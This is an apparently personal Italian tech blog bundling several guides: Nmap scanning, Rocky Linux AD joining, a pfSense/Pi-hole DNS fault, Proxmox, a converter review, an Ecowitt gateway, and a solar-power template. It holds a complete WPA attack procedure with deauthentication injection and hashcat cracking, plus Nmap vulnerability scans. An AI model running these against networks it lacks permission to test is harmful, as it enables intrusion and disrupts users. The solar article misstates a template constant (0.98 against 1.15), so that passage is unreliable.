NMAP

Guida Operativa Nmap: Scansione e Analisi di Rete

🔥 Strumento essenziale per amministratori, pentester e analisti di rete

Nmap (Network Mapper) è uno dei tool più potenti per analizzare una rete, scoprire host attivi, identificare porte aperte, servizi in esecuzione e possibili vulnerabilità. Questa guida è ottimizzata per WordPress, con box colorati, icone SVG e tabelle professionali.

🎯 Obiettivi della guida

  • Scoprire quali dispositivi sono attivi nella rete
  • Identificare porte e servizi
  • Rilevare versioni software e sistema operativo
  • Eseguire analisi di vulnerabilità con NSE

Sintassi Base

nmap [opzioni]

  • IP singolo: 192.168.1.50
  • Range: 192.168.1.1-100
  • Subnet: 192.168.1.0/24
  • File host: -iL hosts.txt

🔍 Host Discovery – Scoprire chi è vivo

Prima di scansionare le porte, devi sapere quali host rispondono.

Ping Scan (solo discovery)

nmap -sn 192.168.1.0/24

Identifica rapidamente i dispositivi attivi tramite ICMP e ARP.

Port Scanning – Analisi delle porte

TCP SYN Scan (half-open, consigliato)

nmap -sS 192.168.1.50

Veloce, poco invasivo, richiede privilegi elevati.

TCP Connect Scan (full handshake)

nmap -sT 192.168.1.50

Usalo quando non hai privilegi root.

UDP Scan (DNS, SNMP, DHCP)

nmap -sU 192.168.1.50

Più lento per natura, ma indispensabile per servizi UDP.

Specificare porte e velocità

Porte

  • Tutte le porte: nmap -p- 192.168.1.50
  • Porte specifiche: nmap -p 80,443,3389
  • Range: nmap -p 1-1024

Velocità dello scan

  • -T0: stealth
  • -T3: normale
  • -T4: aggressivo

📡 Enumerazione Avanzata

Service Version Detection

nmap -sV 192.168.1.50

Identifica software e versione (Apache, SSH, ecc.).

OS Detection

nmap -O 192.168.1.50

Fingerprinting del sistema operativo.

Nmap Scripting Engine (NSE)

Analisi vulnerabilità:

nmap --script=vuln 192.168.1.50

Enumerazione web:

nmap --script=http-enum 192.168.1.50

Tabella: Tipi di Scan e Utilizzo

Tipo ScanComandoUtilizzo
SYN Scannmap -sSRapido, stealth
Connect Scannmap -sTSenza privilegi root
UDP Scannmap -sUServizi UDP
Version Detectionnmap -sVSoftware e versioni
OS Detectionnmap -OSistema operativo

Scansioni Consigliate per Pentest

ObiettivoComando
Discovery hostnmap -sn 192.168.3.0/24
Port scan rapidonmap -sS -T4 -F 192.168.3.0/24
Enumerazione dettagliatanmap -sV -p- 192.168.1.50
Analisi vulnerabilitànmap –script=vuln 192.168.1.50

📘 Mini Cheat‑Sheet Finale

  • Host discovery: nmap -sn
  • SYN scan: nmap -sS
  • Versioni servizi: nmap -sV
  • OS detection: nmap -O
  • Vulnerabilità: nmap –script=vuln
  • Full scan: sudo nmap -sS -sV -O -sU -T4

Pentest WPA uso personale !

Guida Tecnica: Acquisizione e Decodifica Handshake WPA

Questa procedura utilizza la suite aircrack-ng su interfaccia wireless wlx20e51702a6ac per catturare un handshake WPA e decodificarlo via hashcat.

Fase 1: Preparazione dell’ambiente

airmon-ng check kill Identifica e termina i processi che interferiscono con la modalità monitor (es. NetworkManager, wpa_supplicant). Rimuove conflitti di gestione radio prima dell’attivazione.

Fase 2: Attivazione modalità monitor

airmon-ng start wlx20e51702a6ac Passa l’interfaccia dalla modalità managed alla modalità monitor, permettendo la ricezione dei pacchetti broadcast e il tuning sulla frequenza corretta.

Fase 3: Scansione generale

airodump-ng -w capture wlx20e51702a6ac Avvia l’ascolto su tutti i canali salvando i pacchetti nel file capture-01.cap. Serve a identificare il BSSID e il canale di lavoro del target.

Fase 4: Monitoraggio mirato

airodump-ng -c 4 --bssid CC:2D:21:31:3F:81 -w capture wlx20e51702a6ac Blocca l’interfaccia sul canale 4 e sul BSSID specifico. Garantisce che tutti i pacchetti del target siano registrati nel file di acquisizione senza perdita per switch di canale.

Fase 5: Iniezione Deauthentication

aireplay-ng --deauth 10 -a CC:2D:21:31:3F:81 wlx20e51702a6ac Invia 10 pacchetti di deautenticazione al BSSID indicato. Forza un client a disconnettersi e riconnettersi, innescando la procedura di negoziazione del handshake WPA.

Fase 6: Conversione formato hcxpcapng

hcxpcapngtool -o handshake_hash.hccapx capture-01.cap Converte il dump .cap nel formato nativo per hashcat (.hccapx). Questo passaggio è necessario perché hashcat non legge direttamente i file aircrack-ng senza conversione.

Fase 7: Attacco brute-force con Hashcat

hashcat -m 22000 handshake_hash.hccapx /usr/share/wordlists/Wordlist_82_million.txt -w 3 --status Esegue l’attacco offline sulla password WPA:

  • -m 22000: Algoritmo specifico per il formato hcxpcapng (WPA2).
  • /usr/share/wordlists/...: Dizionario di confronto.
  • -w 3: Imposta la velocità del worker su “high” per ottimizzare l’uso della GPU/CPU.
  • --status: Mostra i progress dell’elaborazione in tempo reale.

Rocky linux e join su AD ( foresta 2008 )

Come tutti sappiamo , il progetto Centos verrà abbandonato a breve , pertanto molti utenti ricorreranno ai “ripari” , ovvero si cercherà un rimpiazzo a tale distro .

Esattamente 2 anni orsono , Red Hat divulgò la notizia che avrebbe cessato lo sviluppo di CentOS , ponendo lo stato di fatto che tale sistema era giunto in EOL .

Personalmente ho iniziato a cercare delle alternative e quindi tra queste ho optato per la distro “Rocky Linux” , compatibile con sistemi Red Hat . Questa offre la potenza e la stabilità in contesti di produzione server e workstation davvero apprezzabili . Ho eseguito l’installazione di tale distro su un sistema cluster Proxmox , che tra l’altro , aggiungo , che ho dovuto apportare piccole modifiche nella creazione di tale VM , in quanto si presentavano continui Kernel Panic al boot .

Le modifiche anzi la modifica necessaria per l’avvio di tale sistema , sta nel cambiare il default della cpu KVM in host CPU , con l’opzione CPU MAX per un contesto cluster . Fatto questo , la distro si avvia regolarmente senza alcun problema di sorta .

Avendo una rete gestita da un server Linux con servizi AD ( foresta 2008 ) elenco qui a seguire i passi necessar per l’accredito al dominio AD :

In primis , occorre entrare in console del sistema e procedere all’installazione dei pacchetti essenziali per effettuare il join su AD .

sudo dnf install realmd oddjob oddjob-mkhomedir sssd adcli krb5-workstation
sudo realm join ad.mycompany.local
sudo update-crypto-policies --set DEFAULT:AD-SUPPORT
search internal2.lan
nameserver 192.168.3.123 
realm join -u administartor ad.internal2.lan
[sssd]
domains = ad.internal2.lan
config_file_version = 2
services = nss, pam, ssh
default_domain_suffix = ad.internal2.lan
[nss]
homedir_substring = /home
[domain/ad.internal2.lan]
ad_gpo_access_control = permissive
krb5_store_password_if_offline = True
cache_credentials = True
krb5_realm = AD.INTERNAL2.LAN
realmd_tags = manages-system joined-with-adcli 
id_provider = ad
override_homedir = /home/%u   
fallback_homedir = /home/%u@%d
override_shell = /bin/bash
ad_domain = ad.internal2.lan
use_fully_qualified_names = True
ldap_id_mapping = True
access_provider = ad
default_shell = /bin/bash
dyndns_update = true
dyndns_refresh_interval = 43200
dyndns_update_ptr = true
dyndns_ttl = 3600

Molto importante risulta la direttiva “override_shell= /bin/bash ” , in quanto senza questo parametro risulta impossibile avere la shell bash subito dopo aver effettuato il login in ssh .

Bene , eseguite tutte le operazioni sopra descritte , si è pronti per effettuare e provare le connessioni in ssh , chiaramente utilizzando utenti del dominio AD . Per chi volesse installare l’interfaccia GUI , personalmente ho utilizzato GDM e la suite Gnome , senza riscontrare alcun problema di sorta , tranne la sezione di autentica che può essere risolta aggiungendo “adm” allo user del dominio con il quale si effettua il collegamento RDP . Inoltre è importante modiifcare la sezione visudo inerente ai permessi o meglio all’uso del comando “SU” .

Quando un lease DHCP “abbandonato” genera record DNS sbagliati: analisi di un caso reale con pfSense, Unbound e Pi‑hole

In molte reti basate su pfSense, è comune utilizzare:

  • pfSense come router/firewall e server DHCP
  • Unbound come DNS Resolver con registrazione dinamica
  • Pi‑hole come DNS primario per filtraggio e caching

Questa combinazione è potente, ma può generare problemi difficili da diagnosticare quando entrano in gioco:

  • hostname duplicati
  • lease DHCP scaduti ma non rimossi
  • record DNS dinamici generati da lease “abandoned”
  • cache DNS persistente di Pi‑hole

In questo articolo analizziamo un caso reale in cui un dispositivo IoT ha causato un conflitto DNS che ha portato a risoluzioni errate e incoerenti tra DHCP, DNS Resolver e Pi‑hole.

—

Sintomo del problema

Il comportamento osservato era il seguente:

  • DHCP mostrava Mini4 → 192.168.8.101
  • DNS Lookup mostrava Mini4 → 192.168.8.100
  • Pi‑hole rispondeva sempre con 100
  • pfSense rispondeva con 100 anche dopo reboot

Una situazione apparentemente impossibile: il lease attivo era corretto, ma il DNS continuava a servire un IP vecchio.

—

La causa reale: un lease DHCP “abbandonato” con hostname duplicato

Nel file reale dei lease di pfSense:

/var/dhcpd/var/db/dhcpd.leases

era presente questo blocco:

lease 192.168.8.100 {

  binding state abandoned;

  client-hostname “Mini4”;

}

Questo lease:

  • era scaduto
  • era “abandoned”
  • non compariva nella GUI
  • ma era ancora presente nel file
  • e conteneva l’hostname “Mini4”

Perché è un problema?

Perché Unbound genera i record DNS dinamici leggendo tutti i lease, anche quelli:

  • expired
  • abandoned
  • free
  • rewind

Di conseguenza, Unbound continuava a generare:

A record: mini4.local.lan → 192.168.8.100

PTR record: 100 → mini4.local.lan

anche se il lease attivo era 101.

—

La causa originale: un dispositivo IoT che si è spacciato per “Mini4”

Il dispositivo incriminato era un Aubess (wlan0), che:

  • non rispetta DHCP Option 12
  • non invia un hostname coerente
  • si presenta con nomi casuali
  • in questo caso si è presentato come “Mini4”

pfSense ha quindi creato un lease per:

192.168.8.100 → Mini4

Quando il Mac mini ha richiesto un IP, ha ottenuto:

192.168.8.101 → Mini4

Risultato: hostname duplicato.

—

Il secondo problema: la cache DNS di Pi‑hole

Pi‑hole aveva memorizzato:

mini4.local.lan → 192.168.8.100

Quindi:

  • anche dopo aver corretto pfSense
  • anche dopo aver cancellato il lease fantasma
  • anche dopo il reboot di pfSense

Pi‑hole continuava a rispondere con l’IP sbagliato.

Solo dopo:

pihole restartdns

la cache è stata svuotata e il DNS si è riallineato.

—

Perché il reboot di pfSense non ha risolto?

Perché pfSense non elimina i lease scaduti dal file.

Il file rimane identico.

E Unbound, al boot, ricostruisce i record DNS dinamici anche dai lease “abandoned”.

Quindi il record sbagliato veniva ricreato ogni volta.

—

Soluzione definitiva

1. Identificare il lease fantasma

cat /var/dhcpd/var/db/dhcpd.leases | grep -i mini4 -A5 -B5

2. Eliminare il blocco incriminato

vi /var/dhcpd/var/db/dhcpd.leases

Cancellare:

lease 192.168.8.100 { … }

3. Rigenerare i lease DHCP

GUI → DHCP Server → Save

4. Reload DNS Resolver

GUI → DNS Resolver → Save

5. Svuotare la cache di Pi‑hole

pihole restartdns

—

Risultato finale

  • Il dispositivo IoT ha preso un nuovo IP (es. 187)
  • Mini4 è rimasto correttamente su 101
  • Nessun hostname duplicato
  • Nessun record DNS sbagliato
  • pfSense e Pi‑hole perfettamente allineati

—

Conclusioni

Questo caso dimostra come un semplice dispositivo IoT con hostname errato possa:

  • generare un lease DHCP “abandoned”
  • sporcare il DNS dinamico di pfSense
  • creare record A/PTR sbagliati
  • essere ulteriormente amplificato dalla cache di Pi‑hole

La diagnosi richiede:

  • analisi del file reale dei lease
  • comprensione del comportamento di Unbound
  • gestione della cache DNS di Pi‑hole

È un problema raro, ma estremamente insidioso.

🦁 Fondamenti di Virtualizzazione: Tutto su Proxmox VE

1. Introduzione a Proxmox VE: Il Sistema Operativo Hyperconvergente

  • Cos’è: Proxmox Virtual Environment (VE) non è un semplice hypervisor, ma un sistema operativo completo basato su Debian Linux, progettato specificamente per la virtualizzazione enterprise.
  • Filosofia: Fornisce una piattaforma unificata, open-source e integrata per gestire macchine virtuali (VM) e container dallo stesso pannello di controllo web.
  • Modello di Distribuzione: Si installa direttamente sull’hardware server (bare-metal), posizionandosi tecnicamente nella categoria degli hypervisor Type 1.
  • Componenti Core: La sua potenza deriva dall’integrazione di due tecnologie:
    1. KVM (Kernel-based Virtual Machine): Per la virtualizzazione completa delle macchine virtuali.
    2. LXC (Linux Containers): Per la virtualizzazione leggera dei container.
  • Web Interface: Tutta la gestione avviene attraverso un’interfaccia web moderna (https://server-ip:8006), eliminando la necessità di software client dedicati su PC degli amministratori.

2. Architettura Tecnica e Componenti di Base

  • Base Solida: Poggia su un kernel Linux Debian stabilizzato e a lungo supporto, garantendo compatibilità hardware estrema e stabilità.
  • KVM (Kernel-based Virtual Machine):
    • Trasforma il kernel Linux in un hypervisor a tutti gli effetti (Type 1).
    • Utilizza le estensioni di virtualizzazione hardware della CPU (Intel VT-x o AMD-V) per ottenere performance native.
    • Gestisce direttamente l’accesso alla CPU e alla memoria delle VM.
    • Per l’I/O, può utilizzare:
      • Emulazione completa (e1000 per NIC, ide per dischi – lenta ma compatibile).
      • Paravirtualizzazione (virtio-net per NIC, virtio-blk per dischi – alta performance, richiede driver nel guest).
      • PCI Passthrough (VT-d/AMD-Vi) per assegnare hardware fisico direttamente a una VM.
  • LXC (Linux Containers):
    • Tecnologia di virtualizzazione a livello di sistema operativo.
    • I container condividono il kernel host, risultando in overhead quasi nullo, avvio istantaneo e densità molto elevata.
    • Ideale per servizi isolati che non richiedono un kernel personalizzato o driver specifici (es.: web server, database, reverse proxy, applicazioni in container).
  • Storage Management:
    • Supporta nativamente una vasta gamma di backend di storage:
      • Locale: ZFS (consigliato), LVM-Thin, Directory, XFS.
      • Di Rete: NFS, CIFS/SMB.
      • Shared/Cluster: Ceph (integrato nativamente), iSCSI, Fibre Channel.
    • ZFS Integration: Il supporto integrato per ZFS è un punto di forza, offrendo feature enterprise come copy-on-write, snapshot atomiche, compressione, deduplicazione e riparazione dei dati automatica (self-healing).
  • Networking:
    • Basato su Linux bridging e VLANs (802.1q).
    • Supporta Bonding/LAG (aggregazione di schede di rete) per ridondanza e aumento di banda.
    • Software-Defined Networking (SDN): Dalla versione 7.0, introduce un SDN nativo per gestire reti overlay (VXLan) e sotto-sistemi di rete più complessi in modo centralizzato.

3. Il Cuore del Cluster: High Availability e Gestione Centralizzata

  • Modello a Cluster:
    • Più nodi Proxmox (server fisici) possono essere uniti in un cluster tramite Corosync.
    • Il cluster appare come una singola entità gestibile dall’interfaccia web.
    • Tutte le configurazioni (VM, storage, rete) sono replicate in tempo reale tra i nodi.
  • High Availability (HA) Integrato:
    • Feature fondamentale per l’enterprise.
    • Se un nodo del cluster si spegne o ha un malfunzionamento hardware, le VM e i container contrassegnati come “HA” vengono automaticamente riavviati su un altro nodo del cluster in pochi secondi/minuti.
    • Il sistema monitora lo stato dei nodi e delle VM e prende decisioni senza intervento umano.
  • Live Migration:
    • Migrazione a Caldo (Live Migration): Permette di spostare una VM in esecuzione da un nodo all’altro senza downtime percepibile. Essenziale per la manutenzione dell’hardware e il bilanciamento del carico.
    • Migrazione delle Storage: Permette di spostare i dischi di una VM (anche in esecuzione) da uno storage backend a un altro (es.: da storage locale a Ceph).

4. Vantaggi Chiave di Proxmox VE

  1. Open Source e Costo Zero: La licenza è GNU AGPL, v3. Non ci sono costi di licensing per le funzionalità core. Il modello di subscription esiste solo per l’accesso ai repository enterprise stabili e al supporto tecnico.
  2. Ecosistema Completo: Tutto ciò che serve è integrato: virtualizzazione, storage (ZFS, Ceph), networking, clustering, HA. Niente più “vendor lock-in” o integrazioni complesse tra software diversi.
  3. Alta Performance: L’uso di KVM e LXC garantisce performance pari o molto vicine al bare-metal.
  4. Flessibilità Operativa: La scelta tra VM (per carichi di lavoro che necessitano di un OS completo) e Container (per leggerezza e densità) offre la massima flessibilità di deployment.
  5. Gestione Unificata: L’interfaccia web centrale semplifica enormemente la gestione di intere infrastrutture, riducendo la curva di apprendimento e gli errori di configurazione.
  6. Comunità Attiva e Supporto Enterprise: Una vasta comunità offre supporto gratuito nei forum. Per ambienti critici, è disponibile un supporto professionale a pagamento.

5. Considerazioni e Best Practices

  • Hardware Consigliato:
    • CPU: 64-bit (x86-64) con supporto per virtualizzazione hardware (Intel VT-x/AMD-V). Per il PCI Passthrough, serve IOMMU (Intel VT-d/AMD-Vi).
    • RAM: Più è, meglio è. Calcolare il bisogno per l’OS host + (RAM per VM) + (RAM per Ceph/ZFS se usati).
    • Storage: SSD NVMe sono fortemente consigliati per disco di sistema e per le VM. Gli HDD sono adatti solo per storage di archivio.
    • Rete: Schede multiporta Gigabit o, meglio, 10Gbps+ sono essenziali per il traffico di migrazione, Ceph e VM.
  • Pianificazione dello Storage:
    • ZFS locale è un’ottima scelta per un singolo nodo o per un cluster con storage non condiviso.
    • Ceph è la soluzione per creare un storage iper-convergente e ridondante distribuito su più nodi. Richiede almeno 3 nodi per la produzione.
  • Sicurezza:
    • Cambiare la password di root e la porta SSH di default.
    • Configurare firewall basato su pve-firewall o iptables/nftables.
    • Isolare la rete di management del cluster da quella delle VM.
    • Tenere aggiornato il sistema applicando gli aggiornamenti dai repository.

6. Conclusione: Perché Scegliere Proxmox VE?

Proxmox VE si è affermato come una soluzione enterprise-grade alternativa totalmente percorribile a costosi stack commerciali come VMware vSphere. La sua natura open-source, l’incredibile set di funzionalità integrate e la straordinaria stabilità lo rendono la scelta ideale per:

  • PMI che necessitano di un’infrastruttura virtuale robusta senza costi di licensing proibitivi.
  • Entusiasti e Homelab per imparare tecnologie enterprise a costo zero.
  • Aziende di qualsiasi dimensione che vogliono evitare il vendor lock-in e costruire un’infrastruttura moderna, flessibile e scalabile basata su standard aperti.

È uno degli esempi più riusciti di come il software open-source possa non solo competere, ma spesso superare, le soluzioni commerciali in termini di features, flessibilità e rapporto qualità/prezzo.

DC‑DC Step Down Converter LAOMAO XL7015: Recensione Completa del Modulo di Alimentazione (3 Pack)

Il DC‑DC Step Down Converter LAOMAO XL7015 è un regolatore di tensione compatto e versatile, progettato per chi necessita di convertire tensioni elevate in un’uscita stabile e regolabile. Venduto in confezione da 3 moduli, rappresenta una soluzione economica per progetti elettronici, automazione, modellismo e applicazioni fai‑da‑te.

In questa recensione analizziamo caratteristiche, prestazioni, limiti e possibili utilizzi.

Caratteristiche principali

  • Intervallo di ingresso: 5 V – 80 V
  • Tensione di uscita regolabile: 5 V – 20 V
  • Caduta minima (dropout): circa 1 V
  • Corrente di commutazione massima: 0,8 A
  • Potenza consigliata: < 7 W
  • Efficienza di conversione: 85%
  • Protezione integrate:
    • protezione termica
    • protezione da cortocircuito
    • protezione da sovracorrente
  • Montaggio: a pannello o su piastra
  • Garanzia: 12 mesi (supporto clienti LAOMAO)

Design e qualità costruttiva

Il modulo utilizza il chip XL7015, un convertitore step‑down noto per la sua capacità di gestire tensioni di ingresso molto elevate rispetto ad altri regolatori switching economici. La costruzione è semplice ma funzionale: morsetti a vite, trimmer per la regolazione della tensione e un layout compatto che facilita l’integrazione in piccoli progetti.

Nonostante il prezzo contenuto, il modulo offre un buon livello di protezione, utile soprattutto in applicazioni non critiche o prototipazione.

Prestazioni e limiti

Efficienza

Con un’efficienza dichiarata dell’85%, il modulo si comporta bene per applicazioni a basso consumo. Tuttavia, non è progettato per erogare correnti elevate: la potenza consigliata è inferiore a 7 W, quindi è ideale per piccoli carichi.

Stabilità della tensione

La regolazione è precisa e stabile, grazie alla buona linearità del chip XL7015. La caduta minima di 1 V permette di ottenere un’uscita stabile anche con differenze ridotte tra ingresso e uscita.

Dissipazione termica

A carichi prossimi al limite, il modulo tende a scaldare. È consigliabile garantire una buona ventilazione o ridurre la potenza per aumentare l’affidabilità nel tempo.

Applicazioni consigliate

  • alimentazione di microcontrollori (Arduino, ESP32, ESP8266)
  • piccoli sistemi di automazione
  • progetti fai‑da‑te con batterie o pannelli solari
  • riduzione della tensione da sistemi a 24 V o 48 V
  • alimentazione di sensori e moduli elettronici a basso consumo

Non è invece indicato per carichi ad alta corrente o dispositivi che richiedono alimentazioni molto stabili sotto forte stress.

Pro e Contro

Vantaggi

  • Ampio range di tensione in ingresso
  • Prezzo molto competitivo (3 moduli per meno di 10 €)
  • Protezioni integrate utili
  • Regolazione semplice e precisa
  • Ideale per prototipazione e piccoli progetti

Svantaggi

  • Corrente massima limitata (0,8 A)
  • Non adatto a carichi superiori a 7 W
  • Dissipazione termica migliorabile
  • Qualità costruttiva discreta ma non professionale

Conclusioni

Il DC‑DC Step Down Converter LAOMAO XL7015 è un modulo economico e versatile, perfetto per chi cerca una soluzione semplice per abbassare tensioni elevate in progetti a basso consumo. Pur non essendo un regolatore adatto a impieghi professionali o carichi impegnativi, offre un ottimo rapporto qualità‑prezzo e una buona affidabilità per applicazioni hobbistiche.

Guida Completa ai Gateway Ecowitt GW1100 / GWI100: Installazione, Configurazione e Gestione dei Sensori

I gateway Ecowitt della serie GWI100 / GW1100 rappresentano il cuore di una stazione meteo personale moderna. Questi dispositivi raccolgono i dati provenienti dai sensori wireless Ecowitt e li inviano sia alla rete locale sia ai principali servizi meteorologici online. In questa guida completa scoprirai come configurarli, come collegare i sensori e come sfruttare tutte le funzioni disponibili.


Cos’è il Gateway Ecowitt GW1100 / GWI100

Il GW1100 è un piccolo hub Wi‑Fi che riceve i dati dai sensori Ecowitt (temperatura, umidità, vento, pioggia, UV, luminosità, ecc.) e li rende disponibili:

  • tramite pagina web interna
  • tramite app Ecowitt
  • sul portale ecowitt.net
  • su servizi meteo esterni come Wunderground, WeatherCloud, WOW
  • su server personalizzati

È compatto, facile da configurare e compatibile con un’ampia gamma di sensori Ecowitt.


1. Prima Accensione e Accesso al Dispositivo

1.1 Avvio del gateway

Dopo aver alimentato il dispositivo:

  • attendi l’accensione
  • premi il pulsante RESET per 5 secondi per entrare in modalità configurazione

1.2 Connessione al Wi‑Fi del gateway

Il dispositivo crea un access point temporaneo:

GWI100X-XXXXXXXX

Collegati con il tuo smartphone.

1.3 Accesso alla pagina web

Apri il browser e digita:

192.168.4.1

Al primo accesso non è richiesta alcuna password.


2. Configurazione del Dispositivo

2.1 Impostazioni principali

Dalla pagina Device Setting puoi configurare:

  • Nome del dispositivo
  • Fuso orario
  • Localizzazione
  • Unità di misura
  • Password di accesso (opzionale)

Se abiliti Auto Timezone, ricordati di impostare il fuso orario corretto anche su ecowitt.net.


3. Collegamento alla Rete Wi‑Fi Domestica

3.1 Configurazione rete locale

Nella sezione Local Network:

  1. seleziona la tua rete Wi‑Fi
  2. inserisci la password
  3. premi Apply
  4. verifica che il gateway abbia ottenuto un indirizzo IP

4. Invio dei Dati ai Servizi Meteo

Il gateway può inviare i dati a diversi servizi online.

4.1 Ecowitt.net

È il servizio principale e più completo.

Per configurarlo:

  • copia il MAC address del gateway
  • registrati su ecowitt.net
  • aggiungi il dispositivo
  • imposta l’intervallo di upload (minimo 1 minuto)

4.2 Wunderground, WeatherCloud, WOW

Per ciascun servizio devi inserire:

  • Station ID
  • Station Key

4.3 Server personalizzato

Puoi inviare i dati anche a un tuo server:

  • protocollo Ecowitt o Wunderground
  • IP/hostname
  • path (es. /data/report/)
  • porta
  • intervallo di upload

5. Gestione dei Sensori Ecowitt

Il gateway supporta numerosi sensori. Ecco i principali:

5.1 Sensori di temperatura e umidità

  • WH31: multicanale (fino a 8 canali)
  • WH32: sensore esterno prioritario

5.2 Sensori di pioggia

  • WH40: pluviometro con livella a bolla

5.3 Sensori di vento

  • WS68: anemometro + UV + luce
  • WS80: anemometro ultrasonico

5.4 Sensori combinati

  • WS69: array completo (vento, pioggia, T/H, UV, luce)

6. Installazione dei Sensori

Il manuale raccomanda:

  • installare i sensori in giornate asciutte
  • verificare la ricezione del segnale prima del montaggio definitivo
  • evitare ostacoli metallici
  • montare il sensore del vento in posizione elevata
  • mantenere il pluviometro perfettamente in bolla

7. Avvertenze Importanti

  • Non installare durante un temporale
  • I pali metallici possono attirare fulmini
  • Valuta la messa a terra se monti su un edificio
  • Esegui test preliminari a terra

Conclusione

Il gateway Ecowitt GW1100/GWI100 è uno strumento potente e versatile per creare una stazione meteo completa e affidabile. Con pochi passaggi puoi configurarlo, collegarlo alla rete, aggiungere sensori e inviare i dati ai principali servizi meteorologici.

Questa guida ti permette di sfruttare al massimo tutte le funzioni del dispositivo.

template:
  - sensor:
      - name: "FV Potenza Teorica Reale"
        unique_id: fv_potenza_teorica_reale
        unit_of_measurement: "W"
        device_class: power
        state_class: measurement
        state: >
          {% set G_raw = states('sensor.gw1100a_solar_radiation') %}
          {% set T_raw = states('sensor.gw1100a_outdoor_temperature') %}
          {% if G_raw in ['unknown','unavailable','none'] or T_raw in ['unknown','unavailable','none'] %}
            unavailable
          {% else %}
            {% set modules_count = 4 %}
            {% set P_stc_module = 585.0 %}
            {% set area_module = 2.582 %}
            {% set eta = 0.2266 %}
            {% set noct = 45 %}
            {% set gamma_p = -0.003 %}
            {% set tilt_deg = 30 %}
            {% set albedo = 0.20 %}
            {% set sensor_height_factor = 1.15 %}
            {% set G = (G_raw | float(0)) * sensor_height_factor %}
            {% set T_amb = (T_raw | float(20)) %}
            {% set _ = states('sensor.time') %}
            {% set area_total = area_module * modules_count %}
            {% set clearness = G / 1000.0 %}
            {% set df_raw = 0.45 + (1 - clearness) * 0.35 %}
            {% set diffuse_frac = [df_raw, 0.9] | min %}
            {% set diffuse_frac = [diffuse_frac, 0.1] | max %}
            {% set direct_frac = 1.0 - diffuse_frac %}
            {% set tilt_rad = (tilt_deg * pi / 180.0) %}
            {% set direct_factor = [ (cos(tilt_rad)), 0.0 ] | max %}
            {% set diffuse_factor = (1.0 + cos(tilt_rad)) / 2.0 %}
            {% set ground_reflect_factor = (1.0 - cos(tilt_rad)) / 2.0 %}
            {% set G_poa = G * ( direct_frac * direct_factor + diffuse_frac * diffuse_factor + albedo * ground_reflect_factor ) %}
            {% set P_stc_total = P_stc_module * modules_count %}
            {% set P_from_irradiance = (G_poa / 1000.0) * P_stc_total %}
            {% set T_cell = T_amb + (G_poa / 800.0) * (noct - 20.0) %}
            {% set deltaT = T_cell - 25.0 %}
            {% set P_temp_corr = P_from_irradiance * (1.0 + gamma_p * deltaT) %}
            {{ [ (P_temp_corr) | round(0), 0 ] | max }}
          {% endif %}

Il Motore della Previsione Solare: Un’Analisi Passo-Passo delle Formule dietro i Pannelli Fotovoltaici ☀️🔬


👋 Introduzione: Quando la Tecnologia Prevede il Futuro

Hai mai voluto sapere non solo quanta energia produce oggi il tuo impianto solare, ma quanto potrebbe produrre nel momento esatto? Questo è il potere dei “Template” avanzati che utilizziamo nei sistemi di casa intelligente. Questi Template sono veri e propri mini-calcolatori, scritti in un linguaggio chiamato Jinja2, capaci di trasformare semplici letture meteo (come l’intensità del sole o la temperatura) in una previsione molto dettagliata della potenza reale prodotta dal tuo impianto FV.

In questo articolo, smonteremo questa “ricetta digitale” per capire esattamente quali formule vengono usate e perché ogni piccolo numero conta. Prepariamoci a fare un viaggio didattico tra fisica e tecnologia!

🧱 La Struttura: Ingredienti e Obiettivo

Il template ha due compiti principali:

  1. Controllare la Salute: Verificare che tutti i dati di ingresso siano presenti e validi.
  2. Simulare la Produzione: Usando le leggi della fisica, calcolare quanta energia il pannello riceve e quanta ne riesce a trasformare.

Gli Ingredienti Necessari (I Dati Iniziali)

Il sistema parte da due letture chiave dai sensori esterni:

  • GrawGraw​: L’intensità della luce solare che arriva sull’area di misura (Irradiazione GlobaleIrradiazione Globale).
  • TrawTraw​: La temperatura dell’aria all’esterno.

📐 Analisi Passo-Passo: Le Formule Semplificate (Il Cuore del Template)

Il template non fa un singolo calcolo, ma una catena di trasformazioni. Vediamo i passaggi chiave e le formule che li guidano.

Fase 1: Preparazione della Luce

Prima di tutto, dobbiamo capire quanta luce è davvero utile per il pannello e come questa luce cade su di esso.

  • Aggiustamento dell’Altezza (GG): Il template prende l’intensità grezza (GrawGraw​) e la corregge leggermente con un fattore (sensor_height_factor = 0.98). Cosa significa? È una piccola correzione per tenere conto del fatto che il sensore non è perfettamente allineato o misurato alla stessa altezza dell’impianto reale. G=Graw×0.98G=Graw​×0.98
  • La Distribuzione della Luce (DiffuseDiffuse vs DirectDirect): Il sole non è sempre un fascio dritto e perfetto; a volte la luce viene “sparsa” dall’atmosfera.
    • Il template calcola una frazione diffusa basandosi su quanto forte sta brillando il cielo (clearnessclearness). Questa frazione ci dice quanta luce arriva da tutte le direzioni, non solo dal punto esatto del sole.
    • Successivamente, usa i dati di orientamento (tilt_deg=30∘tilt_deg=30∘) per capire quanto è efficace la superficie del pannello a catturare quella luce diretta e diffusa.

Fase 2: Calcolare l’Energia Reale sul Pannello (GPOAGPOA​)

Questo è il passaggio fondamentale! Stiamo chiedendo: “Quanta energia colpisce davvero la superficie orientata del pannello?”

Il template mescola le frazioni di luce diretta, diffusa e riflessa dal terreno (l’albedo) con i fattori geometrici legati all’angolo di inclinazione ($30^\circ$). La formula combina questi elementi per ottenere GPOAGPOA​:

GPOA=G×(Frazione Diretta×Fattore Diretto+Frazione Diffusa×Fattore Diffuso+Riflesso Terreno×Fattore Riflesso)GPOA​=G×(Frazione Diretta×Fattore Diretto+Frazione Diffusa×Fattore Diffuso+Riflesso Terreno×Fattore Riflesso)

In parole semplici: Stiamo dando al sistema una mappa precisa di come la luce cade sul pannello, tenendo conto sia dell’orientamento che del tipo di cielo.

Fase 3: La Potenza Iniziale (Dal Calore alla Forza)

Una volta che sappiamo quanta energia colpisce il pannello (GPOAGPOA​), dobbiamo trasformarla in Watt. Usiamo la potenza nominale massima (PSTC_totalPSTC_total​, ovvero quanto produce l’impianto in condizioni perfette di laboratorio) e la confrontiamo con l’irradiazione ricevuta:

Potenza Iniziale=(GPOA1000.0)×PSTC_totalPotenza Iniziale=(1000.0GPOA​​)×PSTC_total​ (Il diviso per 1000 serve perché le nostre misurazioni sono spesso in W/m2W/m2, mentre la potenza nominale è espressa su tutta l’area del modulo).

Fase 4: La Correzione Finale (L’Effetto della Temperatura)

Questo è il tocco di finitura. Anche se tutto va bene, quando i pannelli si scaldano troppo, diventano meno efficienti. Il template simula questo calore e applica una “penalità” basata sul delta termico (ΔT=Temperatura Cella−25∘CΔT=Temperatura Cella−25∘C).

